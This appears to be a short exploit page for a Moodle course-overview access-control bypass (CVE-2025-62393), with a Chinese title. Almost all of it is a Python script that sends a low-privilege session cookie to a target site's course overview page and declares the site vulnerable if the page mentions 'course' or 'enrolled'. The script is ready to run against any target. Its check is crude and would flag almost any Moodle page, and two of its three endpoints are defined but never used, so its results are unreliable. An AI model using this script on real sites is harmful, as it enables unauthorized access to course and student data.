CVE-2025-62393 Moodle课程概述权限控制绕过漏洞

# CVE-2025-62393 PoC - Moodle Course Overview Access Control Bypass # This PoC demonstrates the permission bypass in course overview output function import requests import sys def exploit_moodle_cve_2025_62393(target_url, course_id, session_cookie): """ Exploit for CVE-2025-62393: Moodle course overview access control bypass Requirements: - Valid low-privilege user session - Target course ID that user should not have access to Usage: python exploit.py <target_url> <course_id> <session_cookie> """ headers = { 'Cookie': f'MoodleSession={session_cookie}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Method 1: Direct course overview page access overview_url = f"{target_url}/course/overview.php?id={course_id}" # Method 2: Dashboard course overview endpoint dashboard_url = f"{target_url}/my/" # Method 3: Web service API endpoint api_url = f"{target_url}/lib/ajax/service.php?sesskey=&info=core_course_get_courses" print(f"[*] Targeting: {target_url}") print(f"[*] Course ID: {course_id}") # Attempt to access restricted course overview try: response = requests.get(overview_url, headers=headers, timeout=10) if response.status_code == 200: # Check if course information is returned without proper authorization if 'course' in response.text.lower() or 'enrolled' in response.text.lower(): print("[+] VULNERABLE: Course information exposed without proper authorization") print(f"[+] Response length: {len(response.text)} bytes") return True else: print("[-] Course info not found in response") return False else: print(f"[-] HTTP {response.status_code}") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python exploit.py <target_url> <course_id> <session_cookie>") sys.exit(1) exploit_moodle_cve_2025_62393(sys.argv[1], sys.argv[2], sys.argv[3])